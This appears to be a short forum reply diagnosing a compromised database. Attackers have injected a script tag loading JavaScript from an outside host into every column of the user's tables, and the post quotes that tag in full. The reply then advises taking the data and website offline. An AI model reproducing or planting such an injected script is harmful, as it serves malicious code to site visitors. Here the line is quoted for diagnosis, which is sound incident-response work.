It looks like they've added <script src=http://www.killwow1.cn/g.js></
script> to each column in each user defined table.

Your server has obviously been compromised. If your data is
sensitive, take it offline right away until you figure out how they
got in. If you have a website that uses this db, take it down right
away. They're obviously propagating some js onto your website by
adding it in to all your data in a way that is not intended to not
show as visible text on the web itself.